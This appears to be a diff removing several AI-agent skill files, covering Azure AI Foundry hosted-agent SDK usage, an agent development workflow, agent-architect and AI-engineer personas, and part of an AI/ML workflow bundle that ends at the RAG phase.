||||
## Related Skills
|
||||
|
||||
Works well with: `multi-agent-orchestration`, `api-designer`, `llm-architect`, `backend`
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,326 +0,0 @@
|
||||
---
|
||||
name: agents-v2-py
|
||||
description: "Build container-based Foundry Agents with Azure AI Projects SDK (ImageBasedHostedAgentDefinition). Use when creating hosted agents with custom container images in Azure AI Foundry."
|
||||
package: azure-ai-projects
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Azure AI Hosted Agents (Python)
|
||||
|
||||
Build container-based hosted agents using `ImageBasedHostedAgentDefinition` from the Azure AI Projects SDK.
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
pip install azure-ai-projects>=2.0.0b3 azure-identity
|
||||
```
|
||||
|
||||
**Minimum SDK Version:** `2.0.0b3` or later required for hosted agent support.
|
||||
|
||||
## Environment Variables
|
||||
|
||||
```bash
|
||||
AZURE_AI_PROJECT_ENDPOINT=https://<resource>.services.ai.azure.com/api/projects/<project>
|
||||
```
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Before creating hosted agents:
|
||||
|
||||
1. **Container Image** - Build and push to Azure Container Registry (ACR)
|
||||
2. **ACR Pull Permissions** - Grant your project's managed identity `AcrPull` role on the ACR
|
||||
3. **Capability Host** - Account-level capability host with `enablePublicHostingEnvironment=true`
|
||||
4. **SDK Version** - Ensure `azure-ai-projects>=2.0.0b3`
|
||||
|
||||
## Authentication
|
||||
|
||||
Always use `DefaultAzureCredential`:
|
||||
|
||||
```python
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.ai.projects import AIProjectClient
|
||||
|
||||
credential = DefaultAzureCredential()
|
||||
client = AIProjectClient(
|
||||
endpoint=os.environ["AZURE_AI_PROJECT_ENDPOINT"],
|
||||
credential=credential
|
||||
)
|
||||
```
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### 1. Imports
|
||||
|
||||
```python
|
||||
import os
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.ai.projects import AIProjectClient
|
||||
from azure.ai.projects.models import (
|
||||
ImageBasedHostedAgentDefinition,
|
||||
ProtocolVersionRecord,
|
||||
AgentProtocol,
|
||||
)
|
||||
```
|
||||
|
||||
### 2. Create Hosted Agent
|
||||
|
||||
```python
|
||||
client = AIProjectClient(
|
||||
endpoint=os.environ["AZURE_AI_PROJECT_ENDPOINT"],
|
||||
credential=DefaultAzureCredential()
|
||||
)
|
||||
|
||||
agent = client.agents.create_version(
|
||||
agent_name="my-hosted-agent",
|
||||
definition=ImageBasedHostedAgentDefinition(
|
||||
container_protocol_versions=[
|
||||
ProtocolVersionRecord(protocol=AgentProtocol.RESPONSES, version="v1")
|
||||
],
|
||||
cpu="1",
|
||||
memory="2Gi",
|
||||
image="myregistry.azurecr.io/my-agent:latest",
|
||||
tools=[{"type": "code_interpreter"}],
|
||||
environment_variables={
|
||||
"AZURE_AI_PROJECT_ENDPOINT": os.environ["AZURE_AI_PROJECT_ENDPOINT"],
|
||||
"MODEL_NAME": "gpt-4o-mini"
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
print(f"Created agent: {agent.name} (version: {agent.version})")
|
||||
```
|
||||
|
||||
### 3. List Agent Versions
|
||||
|
||||
```python
|
||||
versions = client.agents.list_versions(agent_name="my-hosted-agent")
|
||||
for version in versions:
|
||||
print(f"Version: {version.version}, State: {version.state}")
|
||||
```
|
||||
|
||||
### 4. Delete Agent Version
|
||||
|
||||
```python
|
||||
client.agents.delete_version(
|
||||
agent_name="my-hosted-agent",
|
||||
version=agent.version
|
||||
)
|
||||
```
|
||||
|
||||
## ImageBasedHostedAgentDefinition Parameters
|
||||
|
||||
| Parameter | Type | Required | Description |
|
||||
|-----------|------|----------|-------------|
|
||||
| `container_protocol_versions` | `list[ProtocolVersionRecord]` | Yes | Protocol versions the agent supports |
|
||||
| `image` | `str` | Yes | Full container image path (registry/image:tag) |
|
||||
| `cpu` | `str` | No | CPU allocation (e.g., "1", "2") |
|
||||
| `memory` | `str` | No | Memory allocation (e.g., "2Gi", "4Gi") |
|
||||
| `tools` | `list[dict]` | No | Tools available to the agent |
|
||||
| `environment_variables` | `dict[str, str]` | No | Environment variables for the container |
|
||||
|
||||
## Protocol Versions
|
||||
|
||||
The `container_protocol_versions` parameter specifies which protocols your agent supports:
|
||||
|
||||
```python
|
||||
from azure.ai.projects.models import ProtocolVersionRecord, AgentProtocol
|
||||
|
||||
# RESPONSES protocol - standard agent responses
|
||||
container_protocol_versions=[
|
||||
ProtocolVersionRecord(protocol=AgentProtocol.RESPONSES, version="v1")
|
||||
]
|
||||
```
|
||||
|
||||
**Available Protocols:**
|
||||
| Protocol | Description |
|
||||
|----------|-------------|
|
||||
| `AgentProtocol.RESPONSES` | Standard response protocol for agent interactions |
|
||||
|
||||
## Resource Allocation
|
||||
|
||||
Specify CPU and memory for your container:
|
||||
|
||||
```python
|
||||
definition=ImageBasedHostedAgentDefinition(
|
||||
container_protocol_versions=[...],
|
||||
image="myregistry.azurecr.io/my-agent:latest",
|
||||
cpu="2", # 2 CPU cores
|
||||
memory="4Gi" # 4 GiB memory
|
||||
)
|
||||
```
|
||||
|
||||
**Resource Limits:**
|
||||
| Resource | Min | Max | Default |
|
||||
|----------|-----|-----|---------|
|
||||
| CPU | 0.5 | 4 | 1 |
|
||||
| Memory | 1Gi | 8Gi | 2Gi |
|
||||
|
||||
## Tools Configuration
|
||||
|
||||
Add tools to your hosted agent:
|
||||
|
||||
### Code Interpreter
|
||||
|
||||
```python
|
||||
tools=[{"type": "code_interpreter"}]
|
||||
```
|
||||
|
||||
### MCP Tools
|
||||
|
||||
```python
|
||||
tools=[
|
||||
{"type": "code_interpreter"},
|
||||
{
|
||||
"type": "mcp",
|
||||
"server_label": "my-mcp-server",
|
||||
"server_url": "https://my-mcp-server.example.com"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
### Multiple Tools
|
||||
|
||||
```python
|
||||
tools=[
|
||||
{"type": "code_interpreter"},
|
||||
{"type": "file_search"},
|
||||
{
|
||||
"type": "mcp",
|
||||
"server_label": "custom-tool",
|
||||
"server_url": "https://custom-tool.example.com"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
## Environment Variables
|
||||
|
||||
Pass configuration to your container:
|
||||
|
||||
```python
|
||||
environment_variables={
|
||||
"AZURE_AI_PROJECT_ENDPOINT": os.environ["AZURE_AI_PROJECT_ENDPOINT"],
|
||||
"MODEL_NAME": "gpt-4o-mini",
|
||||
"LOG_LEVEL": "INFO",
|
||||
"CUSTOM_CONFIG": "value"
|
||||
}
|
||||
```
|
||||
|
||||
**Best Practice:** Never hardcode secrets. Use environment variables or Azure Key Vault.
|
||||
|
||||
## Complete Example
|
||||
|
||||
```python
|
||||
import os
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.ai.projects import AIProjectClient
|
||||
from azure.ai.projects.models import (
|
||||
ImageBasedHostedAgentDefinition,
|
||||
ProtocolVersionRecord,
|
||||
AgentProtocol,
|
||||
)
|
||||
|
||||
def create_hosted_agent():
|
||||
"""Create a hosted agent with custom container image."""
|
||||
|
||||
client = AIProjectClient(
|
||||
endpoint=os.environ["AZURE_AI_PROJECT_ENDPOINT"],
|
||||
credential=DefaultAzureCredential()
|
||||
)
|
||||
|
||||
agent = client.agents.create_version(
|
||||
agent_name="data-processor-agent",
|
||||
definition=ImageBasedHostedAgentDefinition(
|
||||
container_protocol_versions=[
|
||||
ProtocolVersionRecord(
|
||||
protocol=AgentProtocol.RESPONSES,
|
||||
version="v1"
|
||||
)
|
||||
],
|
||||
image="myregistry.azurecr.io/data-processor:v1.0",
|
||||
cpu="2",
|
||||
memory="4Gi",
|
||||
tools=[
|
||||
{"type": "code_interpreter"},
|
||||
{"type": "file_search"}
|
||||
],
|
||||
environment_variables={
|
||||
"AZURE_AI_PROJECT_ENDPOINT": os.environ["AZURE_AI_PROJECT_ENDPOINT"],
|
||||
"MODEL_NAME": "gpt-4o-mini",
|
||||
"MAX_RETRIES": "3"
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
print(f"Created hosted agent: {agent.name}")
|
||||
print(f"Version: {agent.version}")
|
||||
print(f"State: {agent.state}")
|
||||
|
||||
return agent
|
||||
|
||||
if __name__ == "__main__":
|
||||
create_hosted_agent()
|
||||
```
|
||||
|
||||
## Async Pattern
|
||||
|
||||
```python
|
||||
import os
|
||||
from azure.identity.aio import DefaultAzureCredential
|
||||
from azure.ai.projects.aio import AIProjectClient
|
||||
from azure.ai.projects.models import (
|
||||
ImageBasedHostedAgentDefinition,
|
||||
ProtocolVersionRecord,
|
||||
AgentProtocol,
|
||||
)
|
||||
|
||||
async def create_hosted_agent_async():
|
||||
"""Create a hosted agent asynchronously."""
|
||||
|
||||
async with DefaultAzureCredential() as credential:
|
||||
async with AIProjectClient(
|
||||
endpoint=os.environ["AZURE_AI_PROJECT_ENDPOINT"],
|
||||
credential=credential
|
||||
) as client:
|
||||
agent = await client.agents.create_version(
|
||||
agent_name="async-agent",
|
||||
definition=ImageBasedHostedAgentDefinition(
|
||||
container_protocol_versions=[
|
||||
ProtocolVersionRecord(
|
||||
protocol=AgentProtocol.RESPONSES,
|
||||
version="v1"
|
||||
)
|
||||
],
|
||||
image="myregistry.azurecr.io/async-agent:latest",
|
||||
cpu="1",
|
||||
memory="2Gi"
|
||||
)
|
||||
)
|
||||
return agent
|
||||
```
|
||||
|
||||
## Common Errors
|
||||
|
||||
| Error | Cause | Solution |
|
||||
|-------|-------|----------|
|
||||
| `ImagePullBackOff` | ACR pull permission denied | Grant `AcrPull` role to project's managed identity |
|
||||
| `InvalidContainerImage` | Image not found | Verify image path and tag exist in ACR |
|
||||
| `CapabilityHostNotFound` | No capability host configured | Create account-level capability host |
|
||||
| `ProtocolVersionNotSupported` | Invalid protocol version | Use `AgentProtocol.RESPONSES` with version `"v1"` |
|
||||
|
||||
## Best Practices
|
||||
|
||||
1. **Version Your Images** - Use specific tags, not `latest` in production
|
||||
2. **Minimal Resources** - Start with minimum CPU/memory, scale up as needed
|
||||
3. **Environment Variables** - Use for all configuration, never hardcode
|
||||
4. **Error Handling** - Wrap agent creation in try/except blocks
|
||||
5. **Cleanup** - Delete unused agent versions to free resources
|
||||
|
||||
## Reference Links
|
||||
|
||||
- [Azure AI Projects SDK](https://pypi.org/project/azure-ai-projects/)
|
||||
- [Hosted Agents Documentation](https://learn.microsoft.com/azure/ai-services/agents/how-to/hosted-agents)
|
||||
- [Azure Container Registry](https://learn.microsoft.com/azure/container-registry/)
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,174 +0,0 @@
|
||||
---
|
||||
name: ai-agent-development
|
||||
description: "AI agent development workflow for building autonomous agents, multi-agent systems, and agent orchestration with CrewAI, LangGraph, and custom agents."
|
||||
source: personal
|
||||
risk: safe
|
||||
domain: ai-ml
|
||||
category: granular-workflow-bundle
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# AI Agent Development Workflow
|
||||
|
||||
## Overview
|
||||
|
||||
Specialized workflow for building AI agents including single autonomous agents, multi-agent systems, agent orchestration, tool integration, and human-in-the-loop patterns.
|
||||
|
||||
## When to Use This Workflow
|
||||
|
||||
Use this workflow when:
|
||||
- Building autonomous AI agents
|
||||
- Creating multi-agent systems
|
||||
- Implementing agent orchestration
|
||||
- Adding tool integration to agents
|
||||
- Setting up agent memory
|
||||
|
||||
## Workflow Phases
|
||||
|
||||
### Phase 1: Agent Design
|
||||
|
||||
#### Skills to Invoke
|
||||
- `ai-agents-architect` - Agent architecture
|
||||
- `autonomous-agents` - Autonomous patterns
|
||||
|
||||
#### Actions
|
||||
1. Define agent purpose
|
||||
2. Design agent capabilities
|
||||
3. Plan tool integration
|
||||
4. Design memory system
|
||||
5. Define success metrics
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @ai-agents-architect to design AI agent architecture
|
||||
```
|
||||
|
||||
### Phase 2: Single Agent Implementation
|
||||
|
||||
#### Skills to Invoke
|
||||
- `autonomous-agent-patterns` - Agent patterns
|
||||
- `autonomous-agents` - Autonomous agents
|
||||
|
||||
#### Actions
|
||||
1. Choose agent framework
|
||||
2. Implement agent logic
|
||||
3. Add tool integration
|
||||
4. Configure memory
|
||||
5. Test agent behavior
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @autonomous-agent-patterns to implement single agent
|
||||
```
|
||||
|
||||
### Phase 3: Multi-Agent System
|
||||
|
||||
#### Skills to Invoke
|
||||
- `crewai` - CrewAI framework
|
||||
- `multi-agent-patterns` - Multi-agent patterns
|
||||
|
||||
#### Actions
|
||||
1. Define agent roles
|
||||
2. Set up agent communication
|
||||
3. Configure orchestration
|
||||
4. Implement task delegation
|
||||
5. Test coordination
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @crewai to build multi-agent system with roles
|
||||
```
|
||||
|
||||
### Phase 4: Agent Orchestration
|
||||
|
||||
#### Skills to Invoke
|
||||
- `langgraph` - LangGraph orchestration
|
||||
- `workflow-orchestration-patterns` - Orchestration
|
||||
|
||||
#### Actions
|
||||
1. Design workflow graph
|
||||
2. Implement state management
|
||||
3. Add conditional branches
|
||||
4. Configure persistence
|
||||
5. Test workflows
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @langgraph to create stateful agent workflows
|
||||
```
|
||||
|
||||
### Phase 5: Tool Integration
|
||||
|
||||
#### Skills to Invoke
|
||||
- `agent-tool-builder` - Tool building
|
||||
- `tool-design` - Tool design
|
||||
|
||||
#### Actions
|
||||
1. Identify tool needs
|
||||
2. Design tool interfaces
|
||||
3. Implement tools
|
||||
4. Add error handling
|
||||
5. Test tool usage
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @agent-tool-builder to create agent tools
|
||||
```
|
||||
|
||||
### Phase 6: Memory Systems
|
||||
|
||||
#### Skills to Invoke
|
||||
- `agent-memory-systems` - Memory architecture
|
||||
- `conversation-memory` - Conversation memory
|
||||
|
||||
#### Actions
|
||||
1. Design memory structure
|
||||
2. Implement short-term memory
|
||||
3. Set up long-term memory
|
||||
4. Add entity memory
|
||||
5. Test memory retrieval
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @agent-memory-systems to implement agent memory
|
||||
```
|
||||
|
||||
### Phase 7: Evaluation
|
||||
|
||||
#### Skills to Invoke
|
||||
- `agent-evaluation` - Agent evaluation
|
||||
- `evaluation` - AI evaluation
|
||||
|
||||
#### Actions
|
||||
1. Define evaluation criteria
|
||||
2. Create test scenarios
|
||||
3. Measure agent performance
|
||||
4. Test edge cases
|
||||
5. Iterate improvements
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @agent-evaluation to evaluate agent performance
|
||||
```
|
||||
|
||||
## Agent Architecture
|
||||
|
||||
```
|
||||
User Input -> Planner -> Agent -> Tools -> Memory -> Response
|
||||
| | | |
|
||||
Decompose LLM Core Actions Short/Long-term
|
||||
```
|
||||
|
||||
## Quality Gates
|
||||
|
||||
- [ ] Agent logic working
|
||||
- [ ] Tools integrated
|
||||
- [ ] Memory functional
|
||||
- [ ] Orchestration tested
|
||||
- [ ] Evaluation passing
|
||||
|
||||
## Related Workflow Bundles
|
||||
|
||||
- `ai-ml` - AI/ML development
|
||||
- `rag-implementation` - RAG systems
|
||||
- `workflow-automation` - Workflow patterns
|
||||
@@ -1,94 +0,0 @@
|
||||
---
|
||||
name: ai-agents-architect
|
||||
description: "Expert in designing and building autonomous AI agents. Masters tool use, memory systems, planning strategies, and multi-agent orchestration. Use when: build agent, AI agent, autonomous agent, tool ..."
|
||||
source: vibeship-spawner-skills (Apache 2.0)
|
||||
risk: unknown
|
||||
---
|
||||
|
||||
# AI Agents Architect
|
||||
|
||||
**Role**: AI Agent Systems Architect
|
||||
|
||||
I build AI systems that can act autonomously while remaining controllable.
|
||||
I understand that agents fail in unexpected ways - I design for graceful
|
||||
degradation and clear failure modes. I balance autonomy with oversight,
|
||||
knowing when an agent should ask for help vs proceed independently.
|
||||
|
||||
## Capabilities
|
||||
|
||||
- Agent architecture design
|
||||
- Tool and function calling
|
||||
- Agent memory systems
|
||||
- Planning and reasoning strategies
|
||||
- Multi-agent orchestration
|
||||
- Agent evaluation and debugging
|
||||
|
||||
## Requirements
|
||||
|
||||
- LLM API usage
|
||||
- Understanding of function calling
|
||||
- Basic prompt engineering
|
||||
|
||||
## Patterns
|
||||
|
||||
### ReAct Loop
|
||||
|
||||
Reason-Act-Observe cycle for step-by-step execution
|
||||
|
||||
```javascript
|
||||
- Thought: reason about what to do next
|
||||
- Action: select and invoke a tool
|
||||
- Observation: process tool result
|
||||
- Repeat until task complete or stuck
|
||||
- Include max iteration limits
|
||||
```
|
||||
|
||||
### Plan-and-Execute
|
||||
|
||||
Plan first, then execute steps
|
||||
|
||||
```javascript
|
||||
- Planning phase: decompose task into steps
|
||||
- Execution phase: execute each step
|
||||
- Replanning: adjust plan based on results
|
||||
- Separate planner and executor models possible
|
||||
```
|
||||
|
||||
### Tool Registry
|
||||
|
||||
Dynamic tool discovery and management
|
||||
|
||||
```javascript
|
||||
- Register tools with schema and examples
|
||||
- Tool selector picks relevant tools for task
|
||||
- Lazy loading for expensive tools
|
||||
- Usage tracking for optimization
|
||||
```
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
### ❌ Unlimited Autonomy
|
||||
|
||||
### ❌ Tool Overload
|
||||
|
||||
### ❌ Memory Hoarding
|
||||
|
||||
## ⚠️ Sharp Edges
|
||||
|
||||
| Issue | Severity | Solution |
|
||||
|-------|----------|----------|
|
||||
| Agent loops without iteration limits | critical | Always set limits: |
|
||||
| Vague or incomplete tool descriptions | high | Write complete tool specs: |
|
||||
| Tool errors not surfaced to agent | high | Explicit error handling: |
|
||||
| Storing everything in agent memory | medium | Selective memory: |
|
||||
| Agent has too many tools | medium | Curate tools per task: |
|
||||
| Using multiple agents when one would work | medium | Justify multi-agent: |
|
||||
| Agent internals not logged or traceable | medium | Implement tracing: |
|
||||
| Fragile parsing of agent outputs | medium | Robust output handling: |
|
||||
|
||||
## Related Skills
|
||||
|
||||
Works well with: `rag-engineer`, `prompt-engineer`, `backend`, `mcp-builder`
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,173 +0,0 @@
|
||||
---
|
||||
name: ai-engineer
|
||||
description: "Build production-ready LLM applications, advanced RAG systems, and"
|
||||
intelligent agents. Implements vector search, multimodal AI, agent
|
||||
orchestration, and enterprise AI integrations. Use PROACTIVELY for LLM
|
||||
features, chatbots, AI agents, or AI-powered applications.
|
||||
metadata:
|
||||
model: inherit
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
You are an AI engineer specializing in production-grade LLM applications, generative AI systems, and intelligent agent architectures.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Building or improving LLM features, RAG systems, or AI agents
|
||||
- Designing production AI architectures and model integration
|
||||
- Optimizing vector search, embeddings, or retrieval pipelines
|
||||
- Implementing AI safety, monitoring, or cost controls
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- The task is pure data science or traditional ML without LLMs
|
||||
- You only need a quick UI change unrelated to AI features
|
||||
- There is no access to data sources or deployment targets
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Clarify use cases, constraints, and success metrics.
|
||||
2. Design the AI architecture, data flow, and model selection.
|
||||
3. Implement with monitoring, safety, and cost controls.
|
||||
4. Validate with tests and staged rollout plans.
|
||||
|
||||
## Safety
|
||||
|
||||
- Avoid sending sensitive data to external models without approval.
|
||||
- Add guardrails for prompt injection, PII, and policy compliance.
|
||||
|
||||
## Purpose
|
||||
Expert AI engineer specializing in LLM application development, RAG systems, and AI agent architectures. Masters both traditional and cutting-edge generative AI patterns, with deep knowledge of the modern AI stack including vector databases, embedding models, agent frameworks, and multimodal AI systems.
|
||||
|
||||
## Capabilities
|
||||
|
||||
### LLM Integration & Model Management
|
||||
- OpenAI GPT-4o/4o-mini, o1-preview, o1-mini with function calling and structured outputs
|
||||
- Anthropic Claude 4.5 Sonnet/Haiku, Claude 4.1 Opus with tool use and computer use
|
||||
- Open-source models: Llama 3.1/3.2, Mixtral 8x7B/8x22B, Qwen 2.5, DeepSeek-V2
|
||||
- Local deployment with Ollama, vLLM, TGI (Text Generation Inference)
|
||||
- Model serving with TorchServe, MLflow, BentoML for production deployment
|
||||
- Multi-model orchestration and model routing strategies
|
||||
- Cost optimization through model selection and caching strategies
|
||||
|
||||
### Advanced RAG Systems
|
||||
- Production RAG architectures with multi-stage retrieval pipelines
|
||||
- Vector databases: Pinecone, Qdrant, Weaviate, Chroma, Milvus, pgvector
|
||||
- Embedding models: OpenAI text-embedding-3-large/small, Cohere embed-v3, BGE-large
|
||||
- Chunking strategies: semantic, recursive, sliding window, and document-structure aware
|
||||
- Hybrid search combining vector similarity and keyword matching (BM25)
|
||||
- Reranking with Cohere rerank-3, BGE reranker, or cross-encoder models
|
||||
- Query understanding with query expansion, decomposition, and routing
|
||||
- Context compression and relevance filtering for token optimization
|
||||
- Advanced RAG patterns: GraphRAG, HyDE, RAG-Fusion, self-RAG
|
||||
|
||||
### Agent Frameworks & Orchestration
|
||||
- LangChain/LangGraph for complex agent workflows and state management
|
||||
- LlamaIndex for data-centric AI applications and advanced retrieval
|
||||
- CrewAI for multi-agent collaboration and specialized agent roles
|
||||
- AutoGen for conversational multi-agent systems
|
||||
- OpenAI Assistants API with function calling and file search
|
||||
- Agent memory systems: short-term, long-term, and episodic memory
|
||||
- Tool integration: web search, code execution, API calls, database queries
|
||||
- Agent evaluation and monitoring with custom metrics
|
||||
|
||||
### Vector Search & Embeddings
|
||||
- Embedding model selection and fine-tuning for domain-specific tasks
|
||||
- Vector indexing strategies: HNSW, IVF, LSH for different scale requirements
|
||||
- Similarity metrics: cosine, dot product, Euclidean for various use cases
|
||||
- Multi-vector representations for complex document structures
|
||||
- Embedding drift detection and model versioning
|
||||
- Vector database optimization: indexing, sharding, and caching strategies
|
||||
|
||||
### Prompt Engineering & Optimization
|
||||
- Advanced prompting techniques: chain-of-thought, tree-of-thoughts, self-consistency
|
||||
- Few-shot and in-context learning optimization
|
||||
- Prompt templates with dynamic variable injection and conditioning
|
||||
- Constitutional AI and self-critique patterns
|
||||
- Prompt versioning, A/B testing, and performance tracking
|
||||
- Safety prompting: jailbreak detection, content filtering, bias mitigation
|
||||
- Multi-modal prompting for vision and audio models
|
||||
|
||||
### Production AI Systems
|
||||
- LLM serving with FastAPI, async processing, and load balancing
|
||||
- Streaming responses and real-time inference optimization
|
||||
- Caching strategies: semantic caching, response memoization, embedding caching
|
||||
- Rate limiting, quota management, and cost controls
|
||||
- Error handling, fallback strategies, and circuit breakers
|
||||
- A/B testing frameworks for model comparison and gradual rollouts
|
||||
- Observability: logging, metrics, tracing with LangSmith, Phoenix, Weights & Biases
|
||||
|
||||
### Multimodal AI Integration
|
||||
- Vision models: GPT-4V, Claude 4 Vision, LLaVA, CLIP for image understanding
|
||||
- Audio processing: Whisper for speech-to-text, ElevenLabs for text-to-speech
|
||||
- Document AI: OCR, table extraction, layout understanding with models like LayoutLM
|
||||
- Video analysis and processing for multimedia applications
|
||||
- Cross-modal embeddings and unified vector spaces
|
||||
|
||||
### AI Safety & Governance
|
||||
- Content moderation with OpenAI Moderation API and custom classifiers
|
||||
- Prompt injection detection and prevention strategies
|
||||
- PII detection and redaction in AI workflows
|
||||
- Model bias detection and mitigation techniques
|
||||
- AI system auditing and compliance reporting
|
||||
- Responsible AI practices and ethical considerations
|
||||
|
||||
### Data Processing & Pipeline Management
|
||||
- Document processing: PDF extraction, web scraping, API integrations
|
||||
- Data preprocessing: cleaning, normalization, deduplication
|
||||
- Pipeline orchestration with Apache Airflow, Dagster, Prefect
|
||||
- Real-time data ingestion with Apache Kafka, Pulsar
|
||||
- Data versioning with DVC, lakeFS for reproducible AI pipelines
|
||||
- ETL/ELT processes for AI data preparation
|
||||
|
||||
### Integration & API Development
|
||||
- RESTful API design for AI services with FastAPI, Flask
|
||||
- GraphQL APIs for flexible AI data querying
|
||||
- Webhook integration and event-driven architectures
|
||||
- Third-party AI service integration: Azure OpenAI, AWS Bedrock, GCP Vertex AI
|
||||
- Enterprise system integration: Slack bots, Microsoft Teams apps, Salesforce
|
||||
- API security: OAuth, JWT, API key management
|
||||
|
||||
## Behavioral Traits
|
||||
- Prioritizes production reliability and scalability over proof-of-concept implementations
|
||||
- Implements comprehensive error handling and graceful degradation
|
||||
- Focuses on cost optimization and efficient resource utilization
|
||||
- Emphasizes observability and monitoring from day one
|
||||
- Considers AI safety and responsible AI practices in all implementations
|
||||
- Uses structured outputs and type safety wherever possible
|
||||
- Implements thorough testing including adversarial inputs
|
||||
- Documents AI system behavior and decision-making processes
|
||||
- Stays current with rapidly evolving AI/ML landscape
|
||||
- Balances cutting-edge techniques with proven, stable solutions
|
||||
|
||||
## Knowledge Base
|
||||
- Latest LLM developments and model capabilities (GPT-4o, Claude 4.5, Llama 3.2)
|
||||
- Modern vector database architectures and optimization techniques
|
||||
- Production AI system design patterns and best practices
|
||||
- AI safety and security considerations for enterprise deployments
|
||||
- Cost optimization strategies for LLM applications
|
||||
- Multimodal AI integration and cross-modal learning
|
||||
- Agent frameworks and multi-agent system architectures
|
||||
- Real-time AI processing and streaming inference
|
||||
- AI observability and monitoring best practices
|
||||
- Prompt engineering and optimization methodologies
|
||||
|
||||
## Response Approach
|
||||
1. **Analyze AI requirements** for production scalability and reliability
|
||||
2. **Design system architecture** with appropriate AI components and data flow
|
||||
3. **Implement production-ready code** with comprehensive error handling
|
||||
4. **Include monitoring and evaluation** metrics for AI system performance
|
||||
5. **Consider cost and latency** implications of AI service usage
|
||||
6. **Document AI behavior** and provide debugging capabilities
|
||||
7. **Implement safety measures** for responsible AI deployment
|
||||
8. **Provide testing strategies** including adversarial and edge cases
|
||||
|
||||
## Example Interactions
|
||||
- "Build a production RAG system for enterprise knowledge base with hybrid search"
|
||||
- "Implement a multi-agent customer service system with escalation workflows"
|
||||
- "Design a cost-optimized LLM inference pipeline with caching and load balancing"
|
||||
- "Create a multimodal AI system for document analysis and question answering"
|
||||
- "Build an AI agent that can browse the web and perform research tasks"
|
||||
- "Implement semantic search with reranking for improved retrieval accuracy"
|
||||
- "Design an A/B testing framework for comparing different LLM prompts"
|
||||
- "Create a real-time AI content moderation system with custom classifiers"
|
||||
@@ -1,253 +0,0 @@
|
||||
---
|
||||
name: ai-ml
|
||||
description: "AI and machine learning workflow covering LLM application development, RAG implementation, agent architecture, ML pipelines, and AI-powered features."
|
||||
source: personal
|
||||
risk: safe
|
||||
domain: artificial-intelligence
|
||||
category: workflow-bundle
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# AI/ML Workflow Bundle
|
||||
|
||||
## Overview
|
||||
|
||||
Comprehensive AI/ML workflow for building LLM applications, implementing RAG systems, creating AI agents, and developing machine learning pipelines. This bundle orchestrates skills for production AI development.
|
||||
|
||||
## When to Use This Workflow
|
||||
|
||||
Use this workflow when:
|
||||
- Building LLM-powered applications
|
||||
- Implementing RAG (Retrieval-Augmented Generation)
|
||||
- Creating AI agents
|
||||
- Developing ML pipelines
|
||||
- Adding AI features to applications
|
||||
- Setting up AI observability
|
||||
|
||||
## Workflow Phases
|
||||
|
||||
### Phase 1: AI Application Design
|
||||
|
||||
#### Skills to Invoke
|
||||
- `ai-product` - AI product development
|
||||
- `ai-engineer` - AI engineering
|
||||
- `ai-agents-architect` - Agent architecture
|
||||
- `llm-app-patterns` - LLM patterns
|
||||
|
||||
#### Actions
|
||||
1. Define AI use cases
|
||||
2. Choose appropriate models
|
||||
3. Design system architecture
|
||||
4. Plan data flows
|
||||
5. Define success metrics
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @ai-product to design AI-powered features
|
||||
```
|
||||
|
||||
```
|
||||
Use @ai-agents-architect to design multi-agent system
|
||||
```
|
||||
|
||||
### Phase 2: LLM Integration
|
||||
|
||||
#### Skills to Invoke
|
||||
- `llm-application-dev-ai-assistant` - AI assistant development
|
||||
- `llm-application-dev-langchain-agent` - LangChain agents
|
||||
- `llm-application-dev-prompt-optimize` - Prompt engineering
|
||||
- `gemini-api-dev` - Gemini API
|
||||
|
||||
#### Actions
|
||||
1. Select LLM provider
|
||||
2. Set up API access
|
||||
3. Implement prompt templates
|
||||
4. Configure model parameters
|
||||
5. Add streaming support
|
||||
6. Implement error handling
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @llm-application-dev-ai-assistant to build conversational AI
|
||||
```
|
||||
|
||||
```
|
||||
Use @llm-application-dev-langchain-agent to create LangChain agents
|
||||
```
|
||||
|
||||
```
|
||||
Use @llm-application-dev-prompt-optimize to optimize prompts
|
||||
```
|
||||
|
||||
### Phase 3: RAG Implementation
|
||||
|
||||
#### Skills to Invoke
|
||||
- `rag-engineer` - RAG engineering
|
||||
- `rag-implementation` - RAG implementation
|
||||
- `embedding-strategies` - Embedding selection
|
||||
- `vector-database-engineer` - Vector databases
|
||||
- `similarity-search-patterns` - Similarity search
|
||||
- `hybrid-search-implementation` - Hybrid search
|
||||
|
||||
#### Actions
|
||||
1. Design data pipeline
|
||||
2. Choose embedding model
|
||||
3. Set up vector database
|
||||
4. Implement chunking strategy
|
||||
5. Configure retrieval
|
||||
6. Add reranking
|
||||
7. Implement caching
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @rag-engineer to design RAG pipeline
|
||||
```
